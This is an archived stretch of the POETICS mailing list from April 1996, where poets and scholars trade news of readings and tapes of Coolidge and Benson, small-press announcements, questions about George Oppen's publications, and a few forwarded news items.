(Sorry about the lineation of this. I'm telnetting in from Boston's cybercafe Designs for Living & I have to use (shudder) PINE as my e-mail program in eskimo's (double shudder) Unix shell. Now I understand why, for example Chris Strofllino's messags look the way they do.))

Bests

Herb

On Sat, 20 Apr 1996, JOEL LEWIS wrote:

> *I first found an article about the bright new worlds of poetry in NATION a bit odd, given that NATION publishes such boring poetry.*
>
> *The Vietnam era really created an explosion of poets all over--coming of age in a local poetry scene in North Jersey in the late 70's, there were hundreds coming to local readings. I think that Nation piece decided that the creaking mainstream of the 70's and 8o's was, for all intent, POETRY for that era.There was so much going on in the left-of-center poetries & still is. Joel Lewis*

↑ Index

539. **Louis Cabri**
benson, coolidge & inman
Sat 20 Apr 1996

---

is that a tobacco brand, or does anyone know if tapes are available of readings of theirs (at one point i think this issue came up for steve benson, long time back, so i'll check the archives too)? - louis

↑ Index

540. **Dan Raphael Dlugonski**
Reading in Portland
Sun 21 Apr 1996

>Wanting to let any Portland area folks know of upcoming multi-media poetry performance Fri. 4/26 with Spencer Selby (from SF) and locals Bob Phillips and dan raphael. 7:30 at Mountain Writer's Center, 3624 se milwaukie.

There are 5 messages totalling 107 lines in this issue.
>
>Topics of the day:
>
> 1. Michel Butor
> 2. Patchen & Mingus
> 3. poetry and audience in the nation (2)
> 4. benson, coolidge & inman
>
>----------
>
>Date: Fri, 19 Apr 1996 22:17:34 MDT
>From: Louis Cabri <[redacted]>
>Subject: Re: Michel Butor
>
>rhyzomic reading out of town? yes burping bovines under trees
>might be a counter-image, Eritrea's dry scapes contrasted with
>rye fields, but "here" can have a pheasant-like den construction,
>linear pee-hole in the corner, a descending legacy for cubist
>hierophants - as in "deeper filtration, please, every grincement
>births its repeated term non-identical to virtue." Organically
>scented part-whole relationships in the language of puns tours
>the would-then bends in ascent: University of Warwick, we are
>Yvor Winters: I am a tree, please pee on me.
>
>----------

>
>Date: Fri, 19 Apr 1996 23:28:17 -0700
>From: "Aldon L. Nielsen" <[redacted]>
>Subject: Re: Patchen & Mingus
>
>What's this about Patchen & Mingus in the 30s? Ref. please . . .I know
>Mingus was playing professionally by age 16, but I missed this one --
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>
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>see him as that much more impressive than Kerouac et al -- Next we'll be
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>
>(did ya know his "Man with the hoe" was the inspiration for RAP?)
>
>I'd be willing to bet Patchen & jazz better listening than Rexroth & the
>Cellar crew --
>
>"Who killed poetry & jazz? You did, you in your seersucker shades"
>
>----------
>
>Date: Sat, 20 Apr 1996 02:34:39 EDT
>From: JOEL LEWIS <[redacted]>
>Subject: Re: poetry and audience in the nation
>
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>
>The Vietnam era really created an explosion of poets all over--coming of age in
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>
>----------
>
>Date: Sat, 20 Apr 1996 09:15:57 -0700
>From: Herb Levy <[redacted]>
>Subject: Re: poetry and audience in the nation
>
>I thought of something along these lines about a month ago when the Nation

>ran a
>good interview/ article about composer/instrumentalist Marty Ehrlich,
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> by an,
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>particularly
>ironic & painfully stupid, was that they could instead have made an
>inspired editorial move by including a poem by Ehrlich's wife, Erica Hunt.
>But
>then Santoro, the "non-classical" music critic for the Nation, is
>simply generally more progressive than the mag's literary views.
>
>Oh, well.
>
>(Sorry about the lineation of this. I'm telnetting in from Boston's
>cybercafe Designs for Living & I have to use (shudder) PINE
>as my
>e-mail program in eskimo's (double shudder) Unix shell. Now I
>understand why, for example Chris Strofllino's messags look the way they
>do.))
>
>Bests
>
>Herb
>
>On Sat, 20 Apr 1996, JOEL LEWIS wrote:
>
>> I first found an article about the bright new worlds of poetry in NATION
a bit
>> odd, given that NATION publishes such boring poetry.
>>
>> The Vietnam era really created an explosion of poets all over--coming of
age in
>> a local poetry scene in North Jersey in the late 70's, there were hundreds
>> coming to local readings. I think that Nation piece decided that the creak-
ing
>> mainstream of the 70's and 8o's was, for all intent, POETRY for that
era.There
>> was so much going on in the left-of-center poetries & still is. Joel Lewis
>>
>
>----------

>
>Date: Sat, 20 Apr 1996 12:49:35 MDT
>From: Louis Cabri <[redacted]>
>Subject: benson, coolidge & inman
>
>is that a tobacco brand, or does anyone know if tapes are
>available of readings of theirs (at one point i think this issue
>came up for steve benson, long time back, so i'll check the
>archives too)? - louis
>
>----------
>
>End of POETICS Digest - 19 Apr 1996 to 20 Apr 1996
>**********
>
>

↑ Index

541. **Larry Price**

Re: benson, coolidge & inman

Sun 21 Apr 1996

Louis:

Readings of Benson and Coolidge were recorded by the Poetry Center at SFSU and are in the Archives there. You can contact Laura Moriarty for those details. Laura's e-mail:

[redacted]

There was a monolithic eight-night Coolidge reading at the old 80 Langton Street site. All eight nights were recorded, and again are available through the Archives in some fashion or other, though I'm not sure about the arrangements for that one, since it was a Langton event and not a Poetry Center event. There was a great Coolidge reading video- and audiotaped by the Archives (in 1977 if I remember correctly), a reading with Philip Whalen. I recommend that one above all.

Further thoughts would be: contact Steve directly for audiotapes of many of his performances. The best I remember seeing was at the old Intersection space in North Beach, circa 1986, an incredible tour de force, completely improvised but with line breaks intact. I'm fairly sure that Steve himself recorded that.

Finally, for Peter: I know the Poetry Center Archives contain at least one reading, but I suspect Charles Bernstein has several, recorded at the Ear Inn. Hope this helps.

lp

↑ Index

542. **JOEL LEWIS**
Re: benson, coolidge & inman
Sun 21 Apr 1996

---

to add to larry's suggestions:

contact poetry ptoject at St.Mark's [redacted], Ed Friedman. They have many redording of Coolidge and Benson. Don't remember p. inman at project, tho' i'm sure he read. Do remember an amazing reading of S. Benson in 1980 or 81 reading "the busses". There is also a tape of Coolidge doing poloroid from S-Press (??) in Germany and Coolidge didi record for the lamont at Harvard. Good luck..joel Lewis

↑ Index

543. **Matthew Gary Kirschenbaum**
Re: Live from the Duncan Conference
Sun 21 Apr 1996

Loss,

When time permits, I'd love to hear an updated update. --Matt

> *In full swing right now under the fairest weather anyone has seen around here in many months, the Duncan conference. A gathering that is great in spirit, good talk, people from all over, with Creeley's kind presence as MC.. So far (quickly) some highlights include a performance of Adam's Way (directed by Nick Lawrence) and Marjorie Perloff and Nat Mackey's papers--plus the knockout reading last night by Susan Howe and Nate Mackey. Some good discussion on the relation between poetry and politics and on Duncan's correspondence and eventual criticism of and break with Levertov. Close readings and immensely rich discussion. It's not a huge gathering but the spirit of folks is really great to behold. Books for sale, too, show the range of readings here available. Talking Leaves present and there are also two wonderful special editions of Duncan prepared by Joel Kuszai (Meow Press) and Charles Alexander. Well, this is just a brief report while on lunch break. The next panel--Blaser, Howe, McGann -!- then tonight a reading by Blaser and Michele Leggott... It certain respects it's *the possibilities of reading* that Duncan suggests that no climate can surpress. A terrific gathering! All in all this will be a short conference (tomorrow's the last*

> *day) but it has begun with a momentum and clarity of composition that is burning as brightly as this clear, piercing, I-caught-you-by-surprise spate of Lake Erie spring.*

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

↑ Index

544. Wystan Curnow
Re: benson, coolidge & inman
Sun 21 Apr 1996

Dear Louis,

I believe the Poetry Archive at UCSD has a tape of Coolidge reading from MINE.

Can you or anyone give me an address for Coolidge, phone/fax etc.? I'd be grateful.

Wystan

↑ Index

545. klobucar
LIVE INTERNET READING EVENT
Sun 21 Apr 1996

****
* The Kootenay School of Writing *
* Vancouver B.C., Canada *
* EVENTS FOR APRIL 1996 *
* *
* email: [redacted] *
* www: http://www.wimsey.com/~ksw *
* 112 West Hastings *
* Vancouver B.C. V6B 2G8 *
* [redacted] *
****
Internet Reading Series
****

Deanna Ferguson, Michael Turner, Dorothy Trujillo Lusk, and Jeff Derksen
April 26th : Friday : 4 -5:30 pm (PST)

Physical Location: Vancouver Film School, 420 Homer St., Vancouver B.C.
WWW Location: http://www.wimsey.com/~ksw/internet.htm

The Kootenay School of Writing, in conjunction with the Vancouver Film School and Axion Internet is pleased to announce our first broadcast of a reading over the Internet using RealAudio(TM) technology.

On APRIL 26th at 4:00 pm Pacific Standard Time we will be broadcasting a pre-recorded reading by Vancouver writers Deanna Ferguson and Michael Turner (info on that event) and a live reading by Vancouver writers Dorothy Trujillo Lusk and Jeff Derksen. Real Audio capability graciously supplied by Axion Internet.

REQUIREMENTS:

- o 486 class or higher PC / 68000 class Mac / Unix based machines, with capability to play sound files.
- o NETSCAPE 1.1+ (The event will be optimized for Netscape 2.0)
- o a Real Audio Player for your computer.

WHERE CAN I FIND THESE ?:

- o Computers : at your local computer store...
- o Netscape 1.1+ can be found at the Netscape http://home.netscape.com
- o Real Audio Player can be found at the Real Audio site at http://www.realaudio.com/products/player.html

DOROTHY TRUJILLO LUSK has given readings across Canada and NYC. Her most recent book _Redactive_ was published by Talonbooks in 1990. Her Tsunami Editions chapbook _Oral Tragedy_ was Shortlisted in the bpNichol Memorial Chapbook contest in 1989. Her latest work, _Volume Delays_ is forthcoming from Sprang Texts.

JEFF DERKSEN, founding member of the Kootenay School of Writing and past editor of _Writing_ magazine, now lives in Calgary where he is completing his doctoral studies at the University of Calgary. Derksen's first book, _Down Time_ won the Dorothy Livesay Poetry Award at the 1991 B.C. Book Prizes. His second book _Dwell_ was published by Talonbooks in 1993.

DEANNA FERGUSON lives in Vancouver, B.C. where she is a publisher of Tsunami Editions and a co-editor of BOO Magazine. Books include The Relative Minor, (Tsunami Editions, 1993), Link Fantasy, with Stan Douglas, 1988 and Will Tear Us, 1987. Recent work appears in The Gertrude Stein Awards in Innovative Amercian Poetry, (Sun & Moon Press) and Raddle Moon 14.

MICHAEL TURNER is the author of Kingsway (Arsenal Pulp Press), Company Town (Arsenal) and Hard Core Logo (Arsenal). Company Town was shortlisted for the Dorothy Livesay Poetry Prize. His second book, Hard Core Logo, has been adapted to radio and stage, and will be a feature film directed by Bruce McDonald (Highway 61, Dance Me Outside). He is also the founder of the Reading Railroad, a popular Vancouver reading series.

****

FOR MORE INFORMATION CONTACT:
ANDREW KLOBUCAR -- [redacted]
DAVE AYRE -- [redacted]

****

RESOURCES:

Arsenal Pulp Press publishing/order information:

ARSENAL PULP PRESS
Tel: [redacted] Fax: [redacted]
#[redacted] Homer Street,
Vancouver, B.C.,
Canada, V6B 2W9

Talonbooks publication/order information WWW site:
http://www.swifty.com/talon
OR
TALON BOOKS
201 - 1019 East Cordova Street
Vancouver B.C. CANADA V6A 1M8
Telephone: [redacted]; FAX: [redacted]
Trade and Individual ordering information.

Tsunami Editions publication/order information WWW site:
http://www.wimsey.com/~ksw/pnet/presses/tsunami/tsunami.htm
OR
TSUNAMI EDITIONS
(Distributed by New Star Books : [redacted])
P.O. Box 3723, MPO
Vancouver B.C.
V6B 3Z1
Voice / Fax [redacted]

TRADE ORDERS

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Fax: [redacted]
CTA S1150391
(B.C. accounts may order from Arsenal Pulp office; billing by General)

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Europe:

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England
Tel: (0) 524-68765
Fax: (0) 524-63232

The Kootenay School of Writing is a non-profit artist run center operated collectively by working writers. For 11 years KSW has offered the varied literary communities of B.C. readings, workshops, and talks that challenge and motivate critical enquiry into the ways, means and dreams of language.

Visit Our Web site ! ------> http://www.wimsey.com/~ksw
Join our Email mailing list ! --> http://www.wimsey.com/~ksw/maillist.htm

The Kootenay School of Writing
[redacted]

112 WEST HASTINGS
v6b 2g8
Canada

↑ Index

546. **Daniel Salmon**
(no subject)
Sun 21 Apr 1996

- hello all,

am very interested in recording, portraying, representing poetry on video/film & wd be interested in discussions/examples of this - as it is not directly related to poetics ^ POETICS perhaps this could be discussed directly [redacted] rather than through the list

would appreciate any response,

dan nz

↑ Index

547. **Chris Stroffolino**
Re: poetry and audience in the nation
Sun 21 Apr 1996

Herb Levy--
although my poetry pretty much stays GLUED to the LEFT(ist) margin
in a way that is (ironically?) considered RIGHTest,
how do you know that many of my notes on the poetics list---
(someone--i forget who--once remarked on their "ziggeraut" quality)--
are not intentional in the spirit of WCW's "three step" late style...
?
chris

↑ Index

548. **Mustafa Ziyalan**
Turkish poetry on WWW
Sun 21 Apr 1996

Dear Friends,

I have been thinking about writing this message
since I read the announcement
regarding the new issue of Talisman
featuring Turkish poetry in translation.

If you are interested in reading Turkish poetry,
there are at least two sites you can take a look at:

Turkish Poetry Homepage
at
http://www.cs.umd.edu/users/sibel/poetry/poetry.html

and

Marmara
at
http://maxwell.njit.edu/merhaba/marmara/

Mustafa Ziyalan

[redacted]
http://maxwell.njit.edu/merhaba/dir/mziyalan/

↑ Index

549. **Bob Holman**
USOP
Sun 21 Apr 1996

Emily, thanks for feedback on USOP.

The Raisinette woman is Lois-Ann Yamanaka, mentioned here recently in the pidgin discussion. The bilingual piece is by Javier Pina, written whenhe studied pioetry at El Centro de la Raza in Seattle. He's 18 now and works as a janitor.the treatment was by Mark pellington (director) and Steve Kimmel (art director).

As for lesbian poets, Michelle Clinton's piece show 5 (The Word) is amorphously sexual and was moved from 4 (Love) because of the duet-with-self form the piece took. Adrienne Rich worked with us a long time, but it finally didn't work out -- tried desperately to get Eileen Myles "Kennedy" poem in, but it was too long and unexcerptable. We've got plans (?) for continuing USOP and I'd be interested in some lesbos-love poems - send my way!

Thanks.

Bob Holman

↑ Index

550. Kevin Killian
Ron Silliman Live in San Francisco!
Mon 22 Apr 1996

Small Press Traffic and Idiom present

Ron Silliman and Lytle Shaw

Tuesday, April 30, 7:30 p.m.

at Four Walls Gallery, 3160A 16th Street @ Albion

$3.00

↑ Index

551. Kevin Killian
Erica Hunt/Camille Roy in San Francisco
Mon 22 Apr 1996

Small Press Traffic and the Poetics Department of New College
present Kelsey St. Press authors
Erica Hunt and Camille Roy

Friday, April 26, 7:30 p.m
at the New College Theater
777 Valencia Street, SF, $5.00

Erica Hunt, who is flying in from New York, has written Local History (Roof Books) and Arcade, from Kelsey St. Press. Camille Roy is the author of Cold Heaven (O Books) and The Rosy Medallions (Kelsey St. Press). She lives in San Francisco.

Someone invented Rene to stand for the perfect man at point zero as an incentive to abbreviate wreckage. "His props are all in a box, wigs, hats, coats," translated for the silent movies. He is on the periphery waving a stick and appears to be very threatening. The subtitles distract us from the compassed affinity of a willed and accidental world. -from Erica Hunt's "Surplus/Reason"

FEAR. I don't know whether to stick to my sound or move into breath, the old in & out.
TECHNIQUE. Say anything . . .
FEAR. I can't shutter my mouth!
TECHNIQUE. . . . you want.
FEAR. The light in my bony forest makes my needles ache . . . [TECHNIQUE, irritated, walks off.] Did I . . . Did I ever tell you about the time I was hitchhiking and I got picked up by Ted Bundy?!?

-from Camille Roy's "eclogue" Bye-Bye Brunhilde

↑ Index

552. Kevin Killian
place can be cute too
Mon 22 Apr 1996

This is Dodie. Cleaning up I found an ancient flyer for Volume V of the Reader's Digest Condensed Book Club, which includes a story by William Faulker. I find it interesting how Reader's Digest uses place to sell Faulkner to the masses:

William Faulkner, author of the memorable TWO SOLDIERS, and one of America's most distinguished writers, is a rooted Mississippian who seldom gets far from the town of oxford.

Slim, short and sharp-eyed, Faulkner prefers shootin' and farmin' to literary teas. He has used much of the comfortable income earned from his writing to buy farm land and refurbish the family house in Oxford. He is an expert and enthusiastic farmer (he even does his own brewing) and says that a high point of his recent trip to Stockholm to receive the Nobel Prize was a talk with the King of Sweden, who turned out to be a good dirt farmer, too. As for the Prize ceremonies, Mr. Faulkner commented: "Very impressive. But they went on and on for about ten hours, like a Mississippi funeral."

And I thought it was only poets that were "cute"-ified by the media in order to make them palatable.

↑ Index

553. Mark Wallace
thoreau, civil disobedience
Mon 22 Apr 1996

Jeffrey Timmons:

Yes, it's clear that certain U.S. groups are now misuing the notion of civil disobedience. After all, civil disobedience does has to be based on your sense that you're being disobedient in the name of a higher cause. Somehow, eliminating slavery seems to me such a higher cause, wehereas Christian Freemen who think that jews stole the name of "chosen people" from right-thinking American christians, and that blacks are subhuman, hardly constitutes a higher cause. Furthermore, as you point out, there is a big distinction between Thoreau's pacifism and the current extremist violence.

I still think civil disobedience is a necessary and valuable way of approaching all sorts of issues. It's the groups in question that need to be condemned (as

you recognize), not the notion of civil disobedience which they're misuing and do not understand.

mark wallace

↑ Index

554. **Daniel Bouchard**
Re: Oppen's magazine publishings etc.
Mon 22 Apr 1996

> *When did GO start back at poetry again, specifically?*

I was just reading this again last night. I remember a footnote to a letter from 1963 pinpointing the year that Oppen began writing poetry again as 1956. Actually, he may have stated this outright in a letter: that THE MATERIALS was written between 1956 and 1962. I don't have the Selected Letters with me right now.

Rachel?

[redacted]

↑ Index

555. **Jordan Davis**
can't play (skinny arms)
Mon 22 Apr 1996

Jaspers--
Is it true that most people thought Ornette Coleman
just didn't know how to play?
--Jorbum

↑ Index

556. **Burt Kimmelman**
Oppen's magazine publishings etc.
Mon 22 Apr 1996

Hi All,

Can anyone help me with the following?
Did any of George Oppen's poems from his volume The Materials get published prior to the book?
If so, where and when?
When did GO start back at poetry again, specifically?
Also:
first strGO and William Bronk firt

first start correspondeing (i'm pretty sure it was prior to 1962 which is the date of the first GO letter to WV Bri [to William Bronk; (forgive my primitive email engine i'm having to use d today)] in the GO Selexted Letters? How did GO and WB get brought together?

I'm trying to u I'm trying to pull my papers I'm trying to pull my paper together for Orono on the two poets at the close of the fiti [fifties], and d so any heo help would be greatly appreciated (if you'll be at Orono I'd be glad to buy you a drink or coffee or whatever, etc.).

Again, thanks (especially for being so patiaent with this garbled message),

Burt Kimmelman
[redacted]

↑ Index

557. **Burt Kimmelman**
Re: Oppen's magazine publishings etc.
Mon 22 Apr 1996

Rachel, are you out there? Can you help me with Daniel's comments on OPpen's The materials etc.?

Burt

↑ Index

558. **Jordan Davis**
allegory, faith, poetry, metonymy, hike
Mon 22 Apr 1996

Dave! Dave Baratier!

What exactly did you mean when you said to Steve Carll, 'it's an allegory'?

The last time I remember that phrase being used was in Doonesbury around maybe it was 75. Something about the Ford administration offering all people who pay their taxes in a timely fashion (or maybe it was a gas crisis joke? which would make it much later) a handsome set of tumblers.

I think I used 'allegorical' in reference to Bill Luoma's reading of community as a neighborhood issue. Probably I was overearnest in an indefensible way.

But it seemed to me you were using 'it's an allegory' as a kind of rhetorical dodge, kindred probably to anonymity viz Poe discussion. Is Poe's middle name taken from a certain anthology? Whoops, caught me caring again!

Anyway, Dave, I didn't want you to think your provocative remark went unnoticed. I'm curious about it because I love to see any new instance of metaphor in public discourse.

Regards,
Jordan

↑ Index

559. Robert A Harrison
forward: flower
Mon 22 Apr 1996

From: Victor O. Story <[redacted]>

LA REALIDAD, Mexico (Reuter) - France's former first lady, Danielle Mitterrand, received a kiss on the hand and a red flower from Mexican guerrilla leader Subcommander Marcos during a visit to Zapatista rebel territory.

Marcos, a charismatic, pipe-smoking intellectual who drew worldwide attention after the Zapatista uprising, led an emotional greeting Thursday by his guerrilla supporters for the French widow, the latest in a series of celebrity visitors to the rebel hideout in the Lacandon jungle near Mexico's border with Guatemala.

More than 1,000 Indians, dressed in colorful Maya costumes, came to the remote hamlet of La Realidad about 600 miles southeast of Mexico City to welcome Danielle Mitterrand.

``Listen (President Ernesto) Zedillo, Danielle is in the fight'' shouted hundreds of Indian couples, some with children clutched in their arms, as they stood along a 500-yard ``street of honor'' formed to greet the 69-year-old widow.

With tears in her eyes, she gave a short speech, thanking her hosts and telling them: ``It's true that Danielle is in the fight with you.''

After nightfall, she met Marcos, who arrived on horseback and flanked by several Zapatista National Liberation Army (EZLN) commanders.

Marcos, wearing his trademark black ski cap, dismounted, took a red flower from the lapel of his black military jacket and offered it to Danielle with a kiss on her hand.

``Welcome, madam,'' he said.

After her meeting, she told a news conference that there was nothing unusual about her visit. ``It's natural when individuals

share a common dream, which has as its aim the globalization of peace,'' she said through an interpreter.

``Marcos says that ... just by the fact that I am here, something might change ... I hope so with all my heart and will do all I can to advance this cause toward world peace.''

There have been no hostilities in Chiapas state for more than a year. The Zapatistas have been negotiating a comprehensive peace accord with the government for the past year. Analysts say they do not pose any real military threat.

---------- Nested Letter Follows ----------
This posting has been forwarded to you as a service of
Accion Zapatista de Austin.

---------- Forwarded message ----------
Date: Sun, 21 Apr 1996 19:58:43 -0400 (EDT)
From: Victor O. Story <[redacted]>
To: chiapas <[redacted]>
Subject: Mexico rebel gives Mitterrand's widow kiss, flower (fwd)

LA REALIDAD, Mexico (Reuter) - France's former first lady, Danielle Mitterrand, received a kiss on the hand and a red flower from Mexican guerrilla leader Subcommander Marcos during a visit to Zapatista rebel territory.

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year. Analysts say they do not pose any real military threat.

********** -- To unsubscribe
from this list send a message containing the words available from
http://eco.utexas.edu or gopher://eco.utexas.edu.

---------- RFC822 Header Follows ----------
13:51:03 -0500
SMTP id AA29742
  (InterLock SMTP Gateway 3.0 for <[redacted]>);
  Mon, 22 Apr 1996 13:44:59 -0500
      id NAA10947; Mon, 22 Apr 1996 13:30:11 -0500 (CDT)
Date: Mon, 22 Apr 1996 13:30:11 -0500 (CDT)
To: [redacted]
From: [redacted] (Chiapas95)
Subject: E;Reuter,Marcos gives Mitterrand kiss, flower, Apr 21

↑ Index

560. KUSZAI
*New from Meow Press: Robert Duncan's _Copy Book Entries_*
Mon 22 Apr 1996

New From Meow Press:

Copy Book Entries

Robert Duncan

Meow Press
32pp. 6.25x4.25"
with cover art by Harvey Breverman
$10.00

Available from Small Press Distribution
1814 San Pablo Avenue
Berkeley, California 94702
[redacted]

or from the publisher (see below)

Published in an extremely limited edition with the cooperation of the curator of the Poetry/Rare Books Collection, Robert Bertholf, this book represents the remarkable range and beauty of Robert Duncan's personal prose writings. It includes eleven unpublished "notebook" entries and "Crisis of Spirit in the Word" (the legendary "Buffalo Sermon" delivered at Westminster Presbyterian Church in February, 1982, originally published in Credences).

OTHER TITLES AVAILABLE FROM MEOW PRESS

George Albon, _King_ $5
Andrews, Bernstein, Sherry, _Technology/Art: 20 Brief Proposals_ $5
Rachel Tzvia Back, _Litany_ $6
Michael Basinski, _Cnyttan_ $5
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[redacted]

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Riven by Cynthia Kimball (100)
Barstokai by Michael Basinski (100)
28 for the Road by Kristin Prevallet (100)

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561. **Nicole Hoelle**
(no subject)
Mon 22 Apr 1996

I am going to be in Berkeley this weekend and want to know if there are going to be any readings in Berkeley (or San Francisco) about which I should be informed. Any responses will be greatly appreciated.

THANKS
NICOLE HOELLE

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562. **Steve Carll**
Re: Bay Area Readings
Mon 22 Apr 1996

At 03:06 PM 4/22/96 -0700, you wrote:
>I am going to be in Berkeley this weekend and want to know if there are
>going to be any readings in Berkeley (or San Francisco) about which I
>should be informed. Any responses will be greatly appreciated.
>
>THANKS
>NICOLE HOELLE

Well, on Thursday night at 8:00 at New Langton Arts in S.F. (Folsom between 8th and 9th), Alice Notley will be reading. Friday at 7:30 at New College of California in S.F. (18th and Valencia), Camille Roy and Erica Hunt will be reading. And Saturday at 10 am at the Zen Center at 300 Page St. in S.F., Philip Whalen will be giving a lecture and talking about his work and signing books, "and many friends will read from [Whalen's new book] Canoeing Up Cabarga Creek[: Buddhist Poems, 1955-1986]."

Can you stand it all?

Steve

↑ Index

563. **Kevin Killian**
Re: Erica Hunt
Tue 23 Apr 1996

Al,

I don't know if Erica's book is out yet or still "due." Rena Rossenwasser is bringing copies of Kelsey Street books to the reading. She can be contacted at: [redacted].

And yes, Kush told me that he would be taping the reading. Most likely he'll be taping you as well in May.

x,
Dodie

At 7:28 AM 4/23/96, Aldon L. Nielsen wrote:

> *Haven't seen that Kelsey St. book down here yet -- has it been distributed yet??? anybody know release date?? I NEED a copy of that book --*
>
> *Dodie, or whoever -- Will the Hunt / Roy reading be taped? If there are no plans to do so, cd somebody put a cassette recorder in front of them for me? I'm going to be writing a chapter on Hunt's work and a tape wd be helpful --*

↑ Index

564. Ron Silliman
Re: Oppen's magazine publishings etc.
Tue 23 Apr 1996

There are people on this list (Rachel Blau DuPlessis, David McAleavey, to name two) who know a lot more about Oppen than I, but I recall first seeing his work in a little mag called The San Francisco Review, a sort of "wannabe" upscale lit mag (a current equivalent, tho fatter, would be Grand Street), that did a significant section on him (and, in another issue, on Jack Gilbert). Gordon Lish was involved and may have been the chief editor.

I don't know that he did any writing in Mexico and would not be surprised if the re-start wasn't pinned to the return to the US (he and Mary drove north with Fred Cody and his wife, who were on their way to Berkeley to start a bookstore). I recall a conversation with Mary once in which she noted that talking in Spanish all day left them exhausted linguistically by the evening.

But this is a jumble of unedited memories here,

Ron Silliman

↑ Index

565. Henry Gould
Prov. RI reading
Tue 23 Apr 1996

4 poets will read at Little Professor bkstore, 519 N. Main St in Providence, on Friday April 26th at 7 pm:

Sir Edwin Honig (he's being knighted by the Spanish Gov't today), James Schevill, and Nedge editors Janet Sullivan and Henry Gould. Verde, te quiero verde...

↑ Index

566. **Aldon L. Nielsen**
Re: Erica Hunt
Tue 23 Apr 1996

Haven't seen that Kelsey St. book down here yet -- has it been distributed yet??? anybody know release date?? I NEED a copy of that book --

Dodie, or whoever -- Will the Hunt / Roy reading be taped? If there are no plans to do so, cd somebody put a cassette recorder in front of them for me? I'm going to be writing a chapter on Hunt's work and a tape wd be helpful --

↑ Index

567. **Burt Kimmelman**
Re: Oppen's magazine publishings etc.
Tue 23 Apr 1996

---

any way to find out which poems appeared in sf review or elsewhere prior to Oppen's The Materials? And, does anyone know where I can get to see the relevant issue(s) of SF Review? Also, I seem to have read somewhere that G O published in the fifties something in Poetry?

Burt

↑ Index

568. **Douglas Messerli**
Re: Turkish poetry on WWW
Tue 23 Apr 1996

Those interested in Turkish poetry should also
check out the new Sun & Moon Classics publication
of Ece Ayhan's A BLIND CAT BLACK and ORTHODOXIES,
translated by Murat Nemet-Nejat. This book, which
will be published early this Fall, will truly
reveal how exciting modern and contemporary Turkish
poetry is.

--Douglas Messerli

==========

At 06:31 PM 4/21/96 -0400, you wrote:
>Dear Friends,
>
>I have been thinking about writing this message
>since I read the announcement
>regarding the new issue of Talisman
>featuring Turkish poetry in translation.
>
>If you are interested in reading Turkish poetry,
>there are at least two sites you can take a look at:
>
>
>Turkish Poetry Homepage
>at
>http://www.cs.umd.edu/users/sibel/poetry/poetry.html
>
>and
>
>Marmara
>at
>http://maxwell.njit.edu/merhaba/marmara/
>
>
>
>
>
>
>----------
>
>Mustafa Ziyalan
>
>[redacted]
>http://maxwell.njit.edu/merhaba/dir/mziyalan/
>

↑ Index

569. **Jeffrey W. Timmons**
Re: thoreau, civil disobedience
Tue 23 Apr 1996

Mark

yes. i think the problem is in the vagueness of "higher cause." There is simply no consensus--or radically different conceptions of it--anymore it seems. In some ways this is good but in others obviously it has a down side.

someone mentioned i believe the need for new fictions of inclusion or consensus or national belonging here some time ago. but isnt the skepticism about such myths or fictions so pervasive that any sort of consensus is perceived as a threat to "individual rights" of some sort?

jeffrey timmons

On Mon, 22 Apr 1996, Mark Wallace wrote:

> *Jeffrey Timmons:*
>
> *Yes, it's clear that certain U.S. groups are now misuing the notion of civil disobedience. After all, civil disobedience does has to be based on your sense that you're being disobedient in the name of a higher cause. Somehow, eliminating slavery seems to me such a higher cause, wehereas Christian Freemen who think that jews stole the name of "chosen people" from right-thinking American christians, and that blacks are subhuman, hardly constitutes a higher cause. Furthermore, as you point out, there is a big distinction between Thoreau's pacifism and the current extremist violence.*
>
> *I still think civil disobedience is a necessary and valuable way of approaching all sorts of issues. It's the groups in question that need to be condemned (as you recognize), not the notion of civil disobedience which they're misuing and do not understand.*
>
> *mark wallace*

↑ Index

570. **David McAleavey**

Re: Oppen's magazine publishings etc.

Tue 23 Apr 1996

Sorry I can't be definitive about this, but my Oppen books are in two different places. But: _Paideuma_ 10, 1 (Spring 1981) published a bibliography of Oppen's poems which I put together, with the help of George and Mary Oppen (among others). After the work published in the 1930s, I have no citation for any published work prior to the January 1960 issue of _Poetry_ magazine. The _San Francisco Review_ entry is, I see, lamentably incomplete: it only cites the issue number (#7), not the date. So Ron's notion that _SFR_ published poems by Oppen in the late 1950s is not one I can either prove or disprove. By the by, wasn't June Oppen Degnan, George's younger half-sister, the publisher of

SFR? In fact both _The Materials_ and _This in Which_, if I recall correctly, were jointly issued by New Directions and _SFR_.

As for the date George resumed writing poems -- 1958 is what sticks in my mind. If I can, I'll try to double check this information later on. Or others on the list can confirm/deny....

On Tue, 23 Apr 1996, Burt Kimmelman [redacted] wrote:

> *any way to find out which poems appeared in sf review or elsewhere prior to Oppen's The Materials? And, does anyone know where I can get to see the relevant issue(s) of SF Review? Also, I seem to have read somewhere that G O published in the fifties something in Poetry?*
>
> *Burt*

↑ Index

571. David Kellogg
Wanda Coleman
Tue 23 Apr 1996

Hi,

Does anybody on this list have Wanda Coleman's phone number? I need to get in touch with her . . .

Email me directly if you can help. Many thanks.

Cheers,
David
~~~
~~~

572. **Steve Carll**

I found this on a local board. I have NOT verified it.

Tue 23 Apr 1996

>>From sjcarll Mon Apr 22 19:23:08 1996
>Date: Mon, 22 Apr 1996 19:24:30 -0700 (PDT)
>From: David Tipton <[redacted]>
>To: Universal Mailer <[redacted]>, [redacted],
> [redacted], [redacted]
>Subject: I found this on a local board. I have NOT verified it.
>
>Tehran (Reuters) - For the past few weeks, the behind-the-doors
>discussion at many Iranian newspaper and magazine publishing outfits
>seems to be revolving not around political, social and economic issues, but the
>spelling of Bob Dole's name instead.
> It turns out that the proper spelling of the Republican Party's likely
>nominee, Dole, is exactly the same as that of the word "penis" in Farsi.
> For an exact pronunciation, "Dowl" as opposed to "Dol," it would
>have to be spelled as the Farsi word for "penis." In print, especially for
headlines,
>"...we don't use [optional] vowel symbols. Because of that, his name can be
>read in that way."
> Ali Zarkoob, a grade school teacher in Western Tehran said, "I'm sure
>kids will find it very funny. The humor magazines will probably go crazy over
>it too."
> A columnist for Tehran's Hamshahri daily who requested to remain
>anonymous stated, "It's a real problem that no one wants to face. Think
>about it. What should we write if he wins? `Clinton loses Presidency?'
That's not
>right. `Penis wins US Presidency' isn't exactly acceptable either."
>
>
>

↑ Index

573. **Tony Green**

Re: can't play (skinny arms)

Tue 23 Apr 1996

Ornette Coleman on trumpet is said to have annoyed Miles Davis?

Tony Green,
e-mail: [redacted]

↑ Index

574. Aldon L. Nielsen
